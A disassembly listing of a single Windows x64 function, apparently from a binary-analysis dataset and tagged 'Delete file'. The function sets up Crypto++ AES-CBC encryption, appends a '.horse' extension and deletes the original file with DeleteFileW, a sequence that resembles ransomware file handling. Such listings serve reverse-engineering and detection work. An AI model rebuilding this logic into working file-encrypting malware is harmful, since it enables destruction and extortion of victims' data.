Function at 0x1400044a0
Capabilities:
Delete file

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x260
mov rax, qword [0x14003f190]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r13, r8
mov r12, rdx
mov rsi, rcx
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], r8
xor ebx, ebx
xor edx, edx
mov r8d, 0xb8
lea rcx, [rsp + 0xe0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x138]
mov qword [rsp + 0x48], rax
mov dl, 1
lea rcx, [rsp + 0x140]
call fcn.14000cc40
movabs rax, 0x3fffffffffffffff
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], rbx
mov qword [rsp + 0x170], rbx
mov qword [rsp + 0x180], 0xffffffffffffffff
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], rbx
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov qword [rsp + 0x138], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
mov qword [rsp + 0x140], rax
mov dl, 1
lea rcx, [rsp + 0xe8]
call fcn.14000cc40
mov qword [rsp + 0x100], 0xffffffffffffffff
mov qword [rsp + 0x108], rbx
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x120], 0xffffffffffffffff
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], rbx
lea rax, vtable.CryptoPP::CipherModeFinalTemplate_CipherHolder_class_CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc___class_CryptoPP::CBC_Encryption_.0
mov qword [rsp + 0xe0], rax
lea rax, vtable.CryptoPP::CipherModeFinalTemplate_CipherHolder_class_CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc___class_CryptoPP::CBC_Encryption_.1.0
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x138]
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0xe0]
call fcn.14000f170
nop
mov rdi, qword [r13 + 0x18]
mov r14, qword [r12 + 0x10]
mov r15, qword [r12 + 0x18]
lea rcx, [rsp + 0xe0]
mov rax, qword [rsp + 0xe0]
call qword [rax + 0x40]
mov eax, eax
mov qword [rsp + 0x20], rax
mov r9, rdi
mov r8, r14
mov rdx, r15
lea rcx, [rsp + 0xe0]
call fcn.14000e570
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], rbx
lea r8d, [rbx + 6]
lea rdx, str..horse
lea rcx, [rsp + 0x78]
call fcn.14000abc0
nop
mov rcx, qword [rsi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
mov rdx, qword [rsp + 0x88]
cmp rax, rdx
jb 0x140004c19
mov r9, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140004687
mov r9, qword [rsi]
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rsi
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xb8]
call fcn.14000b970
nop
xor edx, edx
mov r8d, 0xb0
lea rcx, [rsp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
mov ecx, 0xe0
call fcn.140028008
mov rdi, rax
mov qword [rsp + 0x48], rax
xor edx, edx
mov r8d, 0xe0
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x28
call fcn.140028008
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 0x20], rcx
lea rdx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0x10
cmovae rdx, qword [rsp + 0xb8]
mov rcx, rax
call fcn.140003590
nop
mov r9d, 5
mov r8, rax
lea rdx, [rsp + 0xe8]
mov rcx, rdi
call fcn.14000f6c0
nop
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140004760
mov rdx, qword [rsi]
mov r9, rax
lea rcx, [rsp + 0x1a0]
call fcn.140003330
lea rcx, [rsp + 0x1a0]
call fcn.140008450
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x1a0], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], rbx
mov qword [rsp + 0x1d0], rbx
mov qword [rsp + 0x1d8], 0xf
mov byte [rsp + 0x1c0], 0
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], 7
mov word [rsp + 0x1e0], bx
mov word [rsp + 0x208], 0
mov byte [rsp + 0x20a], 0
mov ecx, 0x40
call fcn.140028008
mov rdi, rax
mov qword [rsp + 0x50], rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::constructor_unsigned_long_long_unsigned___int64_____ptr64]
lea rax, vtable.std::codecvt_utf8_wchar_t__1114111__0_.0
mov qword [rdi], rax
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x1a8], rdi
mov rcx, qword [rsp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Locimp::_New_Locimp_class_std::locale::_Locimp_const____ptr64_]
mov r14, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::locale::id_std::codecvt_wchar_t__char__struct__Mbstatet_::id]
call qword [sym.imp.MSVCP140.dll_public:_unsigned_long_long_unsigned___int64____cdecl_std::locale::id::operator_unsigned_long_long_unsigned___int64__void____ptr64]
mov r8, rax
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.MSVCP140.dll_private:_void___cdecl_std::locale::_Locimp::_Addfac_class_std::locale::facet____ptr64__unsigned_long_long_unsigned___int64_____ptr64]
mov dword [r14 + 0x20], ebx
lea rcx, [r14 + 0x28]
lea rdx, [0x140030fac]
call qword [sym.imp.MSVCP140.dll_public:_class_std::_Yarn_char_____ptr64___cdecl_std::_Yarn_char_::operator_char_const____ptr64____ptr64]
mov rcx, qword [rsp + 0x1b8]
cmp rcx, r14
je 0x1400048a5
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140004894
mov rdi, qword [rax]
mov edx, 1
mov rcx, rax
call qword [rdi]
mov qword [rsp + 0x1b8], r14
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
test rax, rax
je 0x1400048c0
mov rdi, qword [rax]
mov edx, 1
mov rcx, rax
call qword [rdi]
mov qword [rsp + 0x210], rbx
mov r8, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400048d5
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
add r9, r8
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x1a0]
call fcn.140009a80
nop
lea rcx, [rsp + 0x1a0]
call fcn.140008010
lea rcx, [rsp + 0x98]
cmp qword [rsp + 0xb0], 8
cmovae rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140004950
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140004930
mov rdx, qword [rsi]
lea rcx, str.Failed_to_delete__ls_n
call fcn.140001320
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_code__d_n
call fcn.140001380
mov rdx, qword [rsp + 0xb0]
cmp rdx, 8
jb 0x14000499b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004996
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004996
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027ff0
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], bx
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0x10
jb 0x1400049fd
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027ff0
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0xd0], 0xf
mov byte [rsp + 0xb8], 0
mov rdx, qword [rsp + 0x90]
cmp rdx, 0x10
jb 0x140004a5d
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a57
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027ff0
nop
mov rcx, qword [rsp + 0x128]
cmp qword [rsp + 0x120], rcx
cmovb rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x140004a93
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
mov rcx, qword [rsp + 0x108]
cmp qword [rsp + 0x100], rcx
cmovb rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x110]
test rdx, rdx
je 0x140004ac9
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
lea rcx, [rsp + 0x138]
call fcn.140004c60
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140004b11
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140004b0c
add rdx, 0x27
mov rdi, qword [rcx - 8]
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004c0b
mov rcx, rdi
call fcn.140027ff0
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
lea rcx, [r12 + 8]
lea r8, [r12 + 0x10]
mov rax, qword [r8]
cmp qword [rcx], rax
cmovb r8, rcx
mov rdx, qword [r12 + 0x18]
test rdx, rdx
je 0x140004b51
mov rdi, rdx
xor eax, eax
mov rcx, qword [r8]
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
lea rcx, [r13 + 8]
lea rdx, [r13 + 0x10]
mov rax, qword [rdx]
cmp qword [rcx], rax
cmovb rdx, rcx
mov rcx, qword [rdx]
mov rdx, qword [r13 + 0x18]
test rdx, rdx
je 0x140004b7f
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
mov eax, 1
jmp 0x140004be8
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140027fd0
add rsp, 0x260
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001580
int3